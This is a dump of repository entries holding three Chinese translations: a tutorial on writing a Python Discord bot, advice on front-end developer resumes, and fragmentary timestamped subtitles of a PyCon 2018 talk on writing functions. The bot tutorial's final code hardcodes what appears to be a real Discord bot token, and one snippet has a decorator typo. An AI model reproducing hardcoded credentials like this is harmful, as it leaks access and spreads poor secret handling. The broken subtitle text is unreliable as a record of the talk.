[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-write-a-discord-bot-in-python.md",
    "content": "> * 原文地址：[How to write a Discord bot in Python](https://boostlog.io/@junp1234/how-to-write-a-discord-bot-in-python-5a8e73aca7e5b7008ae1da8b)\n> * 原文作者：[Junpei Shimotsu](https://boostlog.io/@junp1234)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-write-a-discord-bot-in-python.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-write-a-discord-bot-in-python.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[mrcangye](https://github.com/mrcangye)、[IllllllIIl](https://github.com/IllllllIIl)\n\n# 如何用 Python 写一个 Discord 机器人\n\n在本教程中，您将学习如何使用 Python 创建一个简单的 [Discord](https://discordapp.com/) 机器人。\n也许您还不知道什么是 Discord，本质上它是一项针对游戏玩家的一种类 Slack（一个云协作团队工具和服务）的服务。\n\n在 Discord 上，您可以连接多个服务器，您一定也注意到这些服务器有许多机器人。\n这些机器人可以做很多事情，从为您播放音乐到简单的聊天。\n我被这些机器人深深吸引，因此决定用 Python 写一个属于自己的机器人。\n那么让我们立刻开始吧！\n\n## 设置\n\n我们首先要创建一个机器人账号。\n转到 [https://discordapp.com/developers/applications/me](https://discordapp.com/login?redirect_to=%2Fdevelopers%2Fapplications%2Fme) 然后创建一个新的 app。\n给您的机器人起一个好听的名字，并给它配上一张个人资料图片。\n\n![](https://i.imgur.com/GoPlxEk.pngg)\n\n向下滚动并点击\"Create Bot User\"。\n完成后您将得到一个机器人的私密 token。\n\n![](https://i.imgur.com/nLNeWTa.png)\n\n您也可以点击以显示机器人的 toke。\n\n![](https://i.imgur.com/uljjk0q.png)\n\n**永远**不要和任何人分享您的 token，因为他们可能会以此来挟持您的机器人。\n在写完这篇文章后，我会更换 token。\n\n## 代码\n\n现在，开始享受吧。\n\n### 准备环境\n\n- [Python 3](https://www.python.org/downloads/)\n- [pip](https://pypi.python.org/pypi/pip)\n\n### Discord.py (重写)\n\n现在我们要安装 discord.py 库的重写版本。\npip 上的 discord.py 没有得到积极维护，因此请安装库的重写版本。\n\n```\n$ python3 -m pip install -U https://github.com/Rapptz/discord.py/archive/rewrite.zip\n```\n\n检查您正在使用的 discord.py 版本，\n\n```\n>>> import discord\n>>> discord.__version__\n'1.0.0a'\n```\n\n一切已经准备就绪，让我们开始写机器人吧。\n\n```\nimport discord\nfrom discord.ext import commands\n```\n\n如果它报 `ModuleNotFoundError` 或者 `ImportError` 那么您的 discord.py 安装有问题。\n\n```\nbot = commands.Bot(command_prefix='$', description='A bot that greets the user back.')\n```\n\n命令前缀是消息内容最初调用命令所必须包含的内容。\n\n```\n@bot.event\nasync def on_ready():\n    print('Logged in as')\n    print(bot.user.name)\n    print(bot.user.id)\n    print('------')\n```\n\n当客户端准备好从 Discord 中接收数据时，就会调用 `on_ready()`。\n通常是在机器人成功登录后。\n\n现在让我们为机器人添加一些功能。\n\n```\n@bot.command()\nasync def add(ctx, a: int, b: int):\n    await ctx.send(a+b)\n\n@bot.command()\nasync def multiply(ctx, a: int, b: int):\n    await ctx.send(a*b)\n\n@bot.command()\nasync def greet(ctx):\n    await ctx.send(\":smiley: :wave: Hello, there!\")\n\n@bot.cmmands()\nasync def cat(ctx):\n    await ctx.send(\"https://media.giphy.com/media/JIX9t2j0ZTN9S/giphy.gif\")\n```\n\n在运行它之前，必须将您的机器人添加到您的服务器。\n这个 OAuth2 url 可以从您的机器人 settings 页面生成。\n转到 https://discordapp.com/developers，点击您的机器人配置文件并生成 oAuth2 url。\n\n![](https://i.imgur.com/PZEjaVD.png)\n\n这是您决定给机器人授予什么权限的地方。\n对于我们现在的使用情况，我们只需要赋予发送消息的权限即可。\n\n现在，让我们在命令行中运行以下命令来启动机器人。\n\n```\n$ python bot.py\n```\n\n![](https://i.imgur.com/pG00LmA.png)\n\n现在我们开始测试机器人。\n\n![](https://i.imgur.com/EZM6XUq.png)\n\n![](https://i.imgur.com/wsf0Hyp.png)\n\n在创建一个 Discord 机器人时，应该遵循一系列优秀的实践。\n我建议您在这里 [https://github.com/meew0/discord-bot-best-practices](https://github.com/meew0/discord-bot-best-practices) 阅读整个文档。\n\n>  有个信息命令。\n>  它应该提供关于机器人的信息，比如它使用的框架，框架用的是哪个版本以及帮助命令，最重要的一点是，它的开发者是谁。\n\n```\n@bot.command()\nasync def info(ctx):\n    embed = discord.Embed(title=\"nice bot\", description=\"Nicest bot there is ever.\", color=0xeee657)\n    \n    # 在这里提供关于您的信息\n    embed.add_field(name=\"Author\", value=\"<YOUR-USERNAME>\")\n    \n    # 显示机器人所服务的数量。\n    embed.add_field(name=\"Server count\", value=f\"{len(bot.guilds)}\")\n\n    # 给用户提供一个链接来请求机器人接入他们的服务器\n    embed.add_field(name=\"Invite\", value=\"[Invite link](<insert your OAuth invitation link here>)\")\n\n    await ctx.send(embed=embed)\n```\n\n![](https://i.imgur.com/f2QJ9fn.png)\n\ndiscord.py 会自动生成一个 `help` 命令。\n所以要自定义时，我们首先要删除默认提供的。 \n\n```\nbot.remove_command('help')\n```\n\n现在我们可以编写自定义的 `help` 命令了。请在这里描述您的机器人。\n\n```\n@bot.command()\nasync def help(ctx):\n    embed = discord.Embed(title=\"nice bot\", description=\"A Very Nice bot. List of commands are:\", color=0xeee657)\n\n    embed.add_field(name=\"$add X Y\", value=\"Gives the addition of **X** and **Y**\", inline=False)\n    embed.add_field(name=\"$multiply X Y\", value=\"Gives the multiplication of **X** and **Y**\", inline=False)\n    embed.add_field(name=\"$greet\", value=\"Gives a nice greet message\", inline=False)\n    embed.add_field(name=\"$cat\", value=\"Gives a cute cat gif to lighten up the mood.\", inline=False)\n    embed.add_field(name=\"$info\", value=\"Gives a little info about the bot\", inline=False)\n    embed.add_field(name=\"$help\", value=\"Gives this message\", inline=False)\n\n    await ctx.send(embed=embed)\n```\n\n![](https://i.imgur.com/JfnOhW9.png)\n\n恭喜！您刚刚用 Python 创建了一个 Discord 机器人。\n\n## 托管\n\n目前，机器人只会在您运行脚本之前在线运行。\n因此，如果您希望您的机器人一直运行，您必须在线托管它，或者您也可以在本地托管它。比如在树莓派（RaspberryPi）。\n托管服务范围很广，从免费的（Heroku's free tier）到付费的（Digital Ocean）。\n我在 Heroku's free tier 上运行我的机器人，到目前为止还没有遇到任何问题。\n\n## 源代码\n\n```\nimport discord\nfrom discord.ext import commands\n\nbot = commands.Bot(command_prefix='$')\n\n@bot.event\nasync def on_ready():\n    print('Logged in as')\n    print(bot.user.name)\n    print(bot.user.id)\n    print('------')\n\n@bot.command()\nasync def add(ctx, a: int, b: int):\n    await ctx.send(a+b)\n\n@bot.command()\nasync def multiply(ctx, a: int, b: int):\n    await ctx.send(a*b)\n\n@bot.command()\nasync def greet(ctx):\n    await ctx.send(\":smiley: :wave: Hello, there!\")\n\n@bot.command()\nasync def cat(ctx):\n    await ctx.send(\"https://media.giphy.com/media/JIX9t2j0ZTN9S/giphy.gif\")\n\n@bot.command()\nasync def info(ctx):\n    embed = discord.Embed(title=\"nice bot\", description=\"Nicest bot there is ever.\", color=0xeee657)\n    \n    # give info about you here\n    embed.add_field(name=\"Author\", value=\"<YOUR-USERNAME>\")\n    \n    # Shows the number of servers the bot is member of.\n    embed.add_field(name=\"Server count\", value=f\"{len(bot.guilds)}\")\n\n    # give users a link to invite thsi bot to their server\n    embed.add_field(name=\"Invite\", value=\"[Invite link](<insert your OAuth invitation link here>)\")\n\n    await ctx.send(embed=embed)\n\nbot.remove_command('help')\n\n@bot.command()\nasync def help(ctx):\n    embed = discord.Embed(title=\"nice bot\", description=\"A Very Nice bot. List of commands are:\", color=0xeee657)\n\n    embed.add_field(name=\"$add X Y\", value=\"Gives the addition of **X** and **Y**\", inline=False)\n    embed.add_field(name=\"$multiply X Y\", value=\"Gives the multiplication of **X** and **Y**\", inline=False)\n    embed.add_field(name=\"$greet\", value=\"Gives a nice greet message\", inline=False)\n    embed.add_field(name=\"$cat\", value=\"Gives a cute cat gif to lighten up the mood.\", inline=False)\n    embed.add_field(name=\"$info\", value=\"Gives a little info about the bot\", inline=False)\n    embed.add_field(name=\"$help\", value=\"Gives this message\", inline=False)\n\n    await ctx.send(embed=embed)\n\nbot.run('NDE0MzIyMDQ1MzA0OTYzMDcy.DWl2qw.nTxSDf9wIcf42te4uSCMuk2VDa0')\n```\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-write-a-front-end-developer-resume-that-will-land-you-an-interview.md",
    "content": "> * 原文地址：[How To Write a Front-End Developer Resume That Will Land You an Interview](https://medium.com/better-programming/how-to-write-a-front-end-developer-resume-that-will-land-you-an-interview-f188ba4fe68b)\n> * 原文作者：[Gareth Cheng](https://medium.com/@garethcheng)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-write-a-front-end-developer-resume-that-will-land-you-an-interview.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-write-a-front-end-developer-resume-that-will-land-you-an-interview.md)\n> * 译者：[febrainqu](https://github.com/febrainqu)\n> * 校对者：[Gesj-yean](https://github.com/Gesj-yean)、[kanweiwei](https://github.com/kanweiwei)\n\n# 如何写一份能让你获得面试机会的前端求职简历\n\n> 这是一篇从面试官角度描述的，为初中级前端开发人员所写的文章。\n\n![](https://cdn-images-1.medium.com/max/4120/1*zbDy-S2TCDK93sO7FhcyXA.png)\n\n作为一名前端开发，你会构建可见的东西，并且你希望能让它看起来不错。同样的道理也体现在你的简历上。间隔合理，可读性强，令人舒服。\n\n#### 通过这篇文章你将学到的：\n\n1. 针对软件开发人员的基本简历写作技巧。\n2. 如何将 IT 技能和技术能力写在简历上。\n3. 有关如何介绍你过去的工作经验的分步指南。\n4. 如何建立你的前端作品集。\n5. 使用[简历生成器](https://www.cakeresume.com)编写简历。\n\n## 1. 从基础开始\n\n![](https://cdn-images-1.medium.com/max/3840/1*wk6xlKGvlqrbFoKmTkoMcg.jpeg)\n\n#### 你的联系方式\n\n联系方式应该放在简历的顶部。尽可能多的展示你想要分享的信息。\n\n#### 总结性陈述\n\n你的总结性陈述应该是一个简短而引人注目的专业概要，包括你的职业成就和未来规划。\n\n在编写时，请记住以下几点：\n\n* 除非职位明确要求，否则不要声明你自己是一个 Angular[JS]/React 开发人员。把自己标记为 X 开发人员意味着告诉别人你只想做 X 开发，而且会使别人认为你可能是一个死板的人，或者在其他方面不能适应。\n* 问问自己，我应该包括哪些关键字以确保目标受众能继续阅读我的简历的其余部分？\n* 阅读公司发布的岗位介绍，记住关键词和关键短语。他们在找什么？什么能让你和其他申请者不同？\n\n#### 教育\n\n除非你是应届大学毕业生，否则无需列出你的 GPA。你的职业成就比 GPA 更重要。\n\n## 2. 技术技能\n\n![Photo by [Filiberto Santillán](https://unsplash.com/@filijs?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/react?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)](https://cdn-images-1.medium.com/max/12000/1*9JIvQ9NwFCmdo0VNGaTu6Q.jpeg)\n\n对于软件开发人员来说，这是让你脱颖而出的最重要的部分。在你列举你的技能时，你需要表现出深入的理解关于这项技能是什么、在什么背景下使用、什么级别下使用。这里需要尽量做到诚实和清晰。\n\n#### 入门技巧\n\n* 如果你列举了 HTML5，则无需列出 HTML4。HTML5 暗含了 HTML4 及其以下版本。CSS3/CSS2 也是如此。\n* 具体说明你的熟练程度，并且要诚实。通过你的熟练程度描述，读你简历的人会很快对你有一个更清楚的了解，这将节省你们双方的时间。\n* 如果一项技能与这个职位没有直接关系，但可能与整个行业相关，那么就把它写进去。这会让你有更多被招聘人员挑选出的机会。\n\n![](https://cdn-images-1.medium.com/max/3840/1*UbhkE5vN-FOzYoFQ7jT5TA.jpeg)\n\n#### 什么样的技能不需要展示\n\n![](https://cdn-images-1.medium.com/max/3840/1*HwvJtfNwyAg0dcP0Ddfeyw.jpeg)\n\n不要像这样写。这是整个 IT 部门。\n\n尽量不要像上面的示例那样展示你的技能。如果你刚开始学习一项新技能，不要将其放在简历中。这样能避免招聘人员推荐你从事不适合的工作。\n\n## 3. 工作经验\n\n![](https://cdn-images-1.medium.com/max/3840/1*Dd1dVcccqN6gd6KUgfCFdA.jpeg)\n\n#### 使用动词\n\n在这一部分，你需要简洁的呈现信息。使用动词来给招聘人员留下深刻印象，但要避免夸张。\n\n#### 定制化\n\n突出你所申请职位的相关信息，并保持简短。这将使你从那些任何岗位都投递同样一份简历的人中脱颖而出。\n\n#### 少即是多\n\n但是，请不要夸大你的经历，因为面试官会根据你简历呈现的内容提问。记住少即是多。\n\n#### 包括相关的关键词\n\n这样做的目的是击败 AOS（申请者追踪系统），并编写一份能被猎头公司和招聘经理发现的简历。\n\n你可以通过分析目标职位的职位描述，确定最能描述它的特定单词和短语，然后将其应用于简历来做到这一点。\n\n#### 遵循下面的分步指导：\n\n```\n// 首先，写下你的公司名称，你的职位，以及你在这里工作的时间。\n```\n\nABC 公司，前端开发人员，2017 年至今\n\n```\n// 如果你的公司不是很出名，就简短的介绍\n```\n\nABC 公司是一家让世界变得更美好的公司，我们试图解决人们的问题。\n\n```\n// 列出几个主要的成就，并写上相关的关键词\n```\n\n* 使用 React，Antd 和 Deck.gl 开发了一个用于可视化运输路线的原型。\n* 使用 React 和 Material-UI 构建了一个以甘特图形式呈现的调度工具。\n* 平衡的需求，用户体验和截止日期，以便在有限的时间内获得大部分商业价值。\n\n```\n// 列举你使用的技术\n```\n\n技术：React、Deck.gl、Python、Recharts、Node.js\n\n#### 你的工作经历应该这样来描述：\n\n![](https://cdn-images-1.medium.com/max/4484/1*GfaGcGu8oOVsTNG5FNcJDg.png)\n\n## 4. 作品集 — 使你从同行中脱颖而出\n\n![[Trantor Liu’s Portfolio on CakeResume](https://www.cakeresume.com/trantorliu/portfolio?ref=resume-header-portfolio)](https://cdn-images-1.medium.com/max/3836/1*e-lvUJN69OBx3GOhmqM94A.png)\n\n因为编程培训机构增加了前端开发人员的数量，大量的开发者[涌入开发人员就业市场](https://medium.com/@marceldegas/san-francisco-bootcamp-bubble-cee59e48bf3e)。\n\n加上一点你独特的经验或项目绝对会让你在同行中脱颖而出。此外，建立自己的作品集也很重要，因为“经验”的定义因人而异。\n\n展示你过去的工作和项目可以快速证明你的 web 开发能力，这会增加你在竞争激烈的市场中获得面试的机会。你可以在 [CodePen](https://codepen.io/) 或 [CakeResume](https://www.cakeresume.com) 上面上传你的作品。\n\n#### 描述一下你作品集中的工作\n\n不过要记住，提供你的作品的链接并不是在构建作品集。同样，一个无法体现你的想法的线框图或者你的应用程序的视觉效果，也是一个糟糕的想法。\n\n当你建立作品集时，可以包含这些内容：\n\n* 屏幕截图或现场演示链接。\n* 你的工作是什么？\n* 你的贡献是什么？\n* 你使用的语言、框架和设计模式。\n\n一些例子：\n\n[**ThisIsMe Web App Information Architecture - Jayd Gibbon 的作品集**](https://www.cakeresume.com/portfolios/thisisme-web-app-information-architecture)\n\n[**Seul Landing Part 1 - Stefan 的作品集**](https://www.cakeresume.com/portfolios/seul)\n\n#### 如果你是从零开始，我有一些建议\n\n* 模仿你常用的网站。\n* 开始写一个技术博客。这也可以是你作品集的一部分。\n* 去参加黑客马拉松，并做点什么。\n* 开始解决你自己的问题。\n\n## 5. 线上简历生成器\n\n在我们开始写一份出色的简历之前，试着想想你希望你的简历是什么样的板式。就个人而言，我建议软件开发人员使用线上简历生成器来写简历，例如 [CakeResume](https://www.cakeresume.com/)（免费的）。\n\n这是线上[简历生成器](https://www.cakeresume.com)的优势：\n\n* 他们帮你使用最新的设计来创建你的简历，这会给你未来的雇主留下好印象。\n* 它们能节省你的时间。特别是对于那些不知道从哪里开始以及不想在调整列和边框上浪费时间的人。\n* 它们有助于确保你不会遗漏任何重要信息。\n* 它们能更容易的更新简历和置换信息。你可以根据不同的雇主的要求稍微调整简历的信息。\n\n## 6. 善用超链接\n\n如果你决定使用在线简历构建器来构建简历，则可以使用超链接。即使你把你的在线版本转换成 PDF，你的链接仍然可以使用。\n\n#### 什么时候使用超链接\n\n* 你想展示你一直在做的网站 —— 你只需提供该网站的 URL。\n* 你需要提到你使用的第三方服务或 sdk。\n* 你想在个人博客或媒体上展示你先前尝试解决的问题的解决方案的记录。\n\n## 了解更多：\n\n* [求职信（求职信样本，求职信模板，申请信）—— 多合一教程](https://www.cakeresume.com/resources/cover-letter-all-in-one-tutorial?locale=en)\n* [如何写一份能让你获得面试机会的 iOS 求职简历](https://medium.com/better-programming/how-to-write-an-ios-developer-resume-that-will-land-you-an-interview-43cf66c6d4fa)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-write-a-function-pycon-2018.md",
    "content": "> * 原视频地址：[Jack Diederich - HOWTO Write a Function - PyCon 2018](https://www.youtube.com/watch?v=rrBJVMyD-Gs)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-write-a-function-pycon-2018.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-write-a-function-pycon-2018.md)\n> * 译者：\n> * 校对者：\n\n# Jack Diederich - HOWTO Write a Function - PyCon 2018\n\n> 本文为 PyCon 2018 视频之 Jack Diederich - HOWTO Write a Function 的中文字幕，您可以搭配原视频食用。\n\n0:06\twelcome everybody let's get started our\n\n0:09  next speaker is Jack Dieterich a core\n\n0:22  yeah good\n\n0:26  little bit about me this is my 16th\n\n0:32  written read a lot of Python written a\n\n0:36  some things I say repeatedly when I'm\n\n0:41  try to do in my own code if you've ever\n\n0:45  mostly about code quality just how to do\n\n0:52  job is hard enough without people trying\n\n0:58  bunch of a bag of little tips and tricks\n\n1:02  why talk about code reviews this is the\n\n1:07  feedback on what you've written this is\n\n1:11  up the code but before it goes out code\n\n1:18  for publishing code and they force you\n\n1:24  code a lot like that's a saying people\n\n1:29  yourself read the code you write many\n\n1:33  you've read it when you write it you\n\n1:37  comparing the code and the tests you\n\n1:42  you look for typos or anything else\n\n1:46  depending on your organization might be\n\n1:51  and any glass give or take forever until\n\n1:56  is very important why talk about a\n\n2:05  code a function fits on a page most of\n\n2:12  if it's a function that's part of a\n\n2:15  same thing it's five ten twenty lines of\n\n2:19  walk in and look at a function that's\n\n2:25  what it is if they already have domain\n\n2:29  it might only take a minute but they\n\n2:33  bottom and figure out what's going on\n\n2:38  what the function is doing\n\n2:42  minute understanding so they read a\n\n2:45  you know where were we again and they go\n\n2:50  be able to to figure out what's going on\n\n2:54  it's your job is the writer to help them\n\n3:04  in Nevers this talk will not have any\n\n3:10  it these are things I put in code\n\n3:15  you thought about this other thing or\n\n3:19  like if you trim this other thing\n\n3:23  for always or Nevers here is a very\n\n3:31  completely understandable if someone\n\n3:37  functions two lines or less this is easy\n\n3:44  you can literally give it on every\n\n3:48  on and you end up with code like this so\n\n3:55  is no function over two lines and the\n\n4:00  you feedback and you're happy because\n\n4:05  everybody spent effort on this thing and\n\n4:09  so my examples are going to be hopefully\n\n4:17  has three parts thinking about function\n\n4:22  big thing you should be able to\n\n4:26  but but it generally has a flow from top\n\n4:31  small examples are things that you can\n\n4:34  little bit and again if you're in a code\n\n4:39  the reader to say yes it's to make it\n\n4:43  function does exactly what is promised\n\n4:47  and the final part which is shorter is\n\n4:53  will get you can find on the internet\n\n4:57  longer than this moment number of lines\n\n5:03  out for function structure functions\n\n5:13  you have input this is where you get the\n\n5:17  middle there's a transform this is kind\n\n5:20  system you're taking the inputs and then\n\n5:24  and output at the end of every function\n\n5:30  giving back to the reader I'm Twitter I\n\n5:36  for for this concept I was not\n\n5:43  should be unexcited your your job in a\n\n5:48  on and get your job so the code of\n\n5:52  predictability let me know if any of\n\n6:00  about function structure the first thing\n\n6:04  you were given some inputs or maybe you\n\n6:09  the database for some stuff that you\n\n6:14  up expectations for the reader you are\n\n6:19  that will exist inside this function so\n\n6:24  the first few lines they should know\n\n6:28  user I bet I know where this is going\n\n6:34  the top gather up the information you\n\n6:38  so again this makes it easier for the\n\n6:44  that you do returns more information\n\n6:47  you don't need and this tells the reader\n\n6:51  care about in this function and then\n\n6:54  not surprised early errors are good\n\n7:00  just the information you need if you\n\n7:02  abort\n\n7:06  job that the function says it's going to\n\n7:10  this not only makes it better when\n\n7:14  big loud errors but it makes it easier\n\n7:18  they don't have to read the next the\n\n7:22  things are true and that's all you need\n\n7:31  you are telling the reader that these\n\n7:34  keep reading transform this is the\n\n7:44  the information you need to continue and\n\n7:49  addresses this is where you do matrix\n\n7:54  something that has more value the reader\n\n8:00  seen the inputs that you have they know\n\n8:03  matrix and in the middle you're going to\n\n8:09  boring readers output is think of it\n\n8:15  had the inputs you've had the transform\n\n8:19  the output is creating whatever is\n\n8:25  name might promise that you're returning\n\n8:29  might have a dictionary of names or a\n\n8:34  the result unique but if the function\n\n8:38  or a list of names this is the the point\n\n8:42  the middle and you just turn it into a\n\n8:45  callers happy everybody's happy\n\n8:54  the errors happen whenever possible so\n\n8:59  the first thing you should do when\n\n9:03  your inputs in that there's lots of fun\n\n9:11  the Internet project Euler if you want\n\n9:16  or you know just practice on on short\n\n9:22  practice programming they don't help\n\n9:28  you thinking about inputs because the\n\n9:33  exactly what you need to solve the\n\n9:40  day-to-day job you're first the first\n\n9:44  a function is figuring out how to get\n\n9:48  talk to the database do I need to call a\n\n9:52  arguments does a function so the first\n\n9:57  you have and what you want and then to\n\n10:01  middle throw out what you don't need any\n\n10:09  anytime you you see a board you can say\n\n10:14  board this is Conway's Game of Life\n\n10:18  dots are on a chess board doesn't have\n\n10:24  piece types and after you have these\n\n10:29  do with them but just try and think\n\n10:36  function\n\n10:39  the promise of the function is I am\n\n10:43  are palindromes right there in a name\n\n10:49  users to get the names so we get a list\n\n10:56  then just take all the names from that\n\n11:01  that here's the thing we here's thing\n\n11:04  right now which is just a list of names\n\n11:09  for name and names is this a palindrome\n\n11:14  we've added we're checking to see which\n\n11:19  is a little bit of output and again\n\n11:24  the input transform output is not very\n\n11:31  speaking top to bottom this is an\n\n11:39  if you have a function called get host\n\n11:44  name has a plural in it implies that\n\n11:49  host configs function is going to return\n\n11:58  information to help the reader you\n\n12:03  only one name that should be returned\n\n12:08  because at this point you are assuming\n\n12:11  want to fail and you are telling the\n\n12:16  returned then something has gone\n\n12:21  so you can say a certain length of\n\n12:28  low overhead and it tells the reader a\n\n12:32  about to happen\n\n12:41  run just means don't do the thing I'm\n\n12:45  would have done so this is a very common\n\n12:51  let's get all the users and if this is a\n\n12:57  things we would have done and seen this\n\n13:04  this is code that you will see in a code\n\n13:12  but if dry run blog the info else\n\n13:20  has to wonder is something else going to\n\n13:24  I'm the reader now has to scroll down\n\n13:28  actually did delete the users which\n\n13:31  so just return early when you can if\n\n13:36  you intend to do get out\n\n13:44  theater the expression is the gun on the\n\n13:47  three because the the idea during a play\n\n13:52  the audience knows that there's a gun on\n\n13:56  happen to it and enjoys the journey as\n\n14:00  is absolutely not what you want when\n\n14:05  mantle goes back so if you tell someone\n\n14:11  to wonder when you're gonna use it and\n\n14:14  stack that there's this there's a gun on\n\n14:18  the gun make it go bang pick up the next\n\n14:22  and this is kind of our inheritance from\n\n14:32  you had to declare everything that you\n\n14:36  at the top of the function that's just\n\n14:39  so you still see that kind of bleed\n\n14:44  tell you up front here are four\n\n14:47  function and then they use one and then\n\n14:52  another one and then they do some stuff\n\n14:55  don't need to do that so just right\n\n15:01  declare it so this helps the reader\n\n15:06  then use a thing and then you take the\n\n15:10  use it again and everyone's happy\n\n15:17  introducing fewer concepts at a time\n\n15:22  get your ship it's everyone's happy\n\n15:31  it is okay to put constants in default\n\n15:42  equal three\n\n15:46  tells you exactly what's about to happen\n\n15:52  max retries okay so you know they said\n\n16:00  Twitter logo look it up times a it's\n\n16:07  and you might say max three tries is\n\n16:11  shared before you declare it at the top\n\n16:14  do but in C there was no way to express\n\n16:22  do you put your function defaults in C\n\n16:26  constants and see in the include file\n\n16:29  be in Python you have options so you\n\n16:41  exceptions if you've seen some of my\n\n16:47  overused exceptions can are usually also\n\n16:54  there's an exception at the top of the\n\n16:59  raise it someone has to go back the\n\n17:02  definition is\n\n17:05  in Python you can usually get away with\n\n17:12  has the added benefit that you don't\n\n17:17  already know the semantics of built-in\n\n17:24  names names are easy and hard both\n\n17:34  going to be a lot of names in your\n\n17:39  you don't have to add a lot of context\n\n17:43  function you know if they're five lines\n\n17:47  all the context they need good naming is\n\n17:54  bad names\n\n18:01  use to tell the reader that they\n\n18:04  the name raw is great\n\n18:09  Python where it's a built-in so I tend\n\n18:14  use bites I tend to use the word raw\n\n18:19  the reader this is some data format it\n\n18:24  tells them that they shouldn't care what\n\n18:28  around whatever this Brawl thing is and\n\n18:32  it's a function so you're gonna do\n\n18:34  very soon later so user equals\n\n18:39  no one's guessing at what this is doing\n\n18:44  from somewhere and it gives you\n\n18:48  instance of a class\n\n18:55  the temporary so again this is a\n\n18:59  lot of context and a small amount it's\n\n19:05  get away without using a temporary then\n\n19:10  one less thing that the reader has to\n\n19:14  you're going to reuse raw later I mean\n\n19:18  and then you used it but if you can if\n\n19:24  immediately use the return value of the\n\n19:29  nobody has to wonder if you're gonna use\n\n19:33  temporary if the reader really really\n\n19:41  well-known idioms and Python for pretend\n\n19:47  around and and del individual variables\n\n19:54  doesn't matter underscore very popular\n\n19:58  probably get what it is dummy\n\n20:05  function signatures and says when you're\n\n20:11  updating an existing thing and you don't\n\n20:15  flag is no longer meaningful you know\n\n20:20  if the it promises the reader that this\n\n20:26  surprised and angry if five lines down\n\n20:32  you won't get your ship it's so ignored\n\n20:41  so how many things are there you can use\n\n20:46  something useful about the return value\n\n20:50  maybe I could we could be returning\n\n20:54  the reader something about what was\n\n21:00  promise to the reader that there's a\n\n21:04  that's a pretty good name left and right\n\n21:10  blow up if there's not two things so the\n\n21:15  there's two things and it doesn't even\n\n21:18  they believe the computer and left in\n\n21:25  so maybe the the left one and the right\n\n21:30  two things if you actually know\n\n21:35  things and then you you can tell the\n\n21:39  if there's an old thing in a new thing\n\n21:44  primary secondary so if you have a pair\n\n21:48  name the variable with a little bit of\n\n21:56  another talk name things once who what\n\n22:04  we're wearing the five W's are good when\n\n22:11  free code who you don't really care who\n\n22:17  when q2 is a terrible name to add to a\n\n22:25  reference unnecessary reference to\n\n22:30  what is four what is four functions what\n\n22:33  making especially for newer coders names\n\n22:46  again in a function you're not going to\n\n22:50  afford to have short names because\n\n22:54  them is in config you will see things\n\n23:01  name is almost a transposition the name\n\n23:05  transposition from what's happening on\n\n23:11  variables tend to get added to so the\n\n23:16  second line has 300\n\n23:20  or seven underscores but again this is a\n\n23:25  there's only a couple things in play in\n\n23:30  very short concise variable names\n\n23:36  there's a name that's type there's a\n\n23:45  return consistently so none of the\n\n23:52  given this talk or the the code is wrong\n\n23:58  wrong and bad it's you know here is a\n\n24:03:00  thing that gives you the same bytes but\n\n24:06:00  these three functions all give you the\n\n24:12:00  same semantics in Python I mean they're\n\n24:17:00  they all set X equal to 3 which is kind\n\n24:22:00  returning none when they're called if\n\n24:30:00  different promise to the reader however\n\n24:34:00  send back for edit compared to lists so\n\n24:40:00  sorted returned true great and this\n\n24:47:00  false II so in almost every place you\n\n24:53:00  blow up 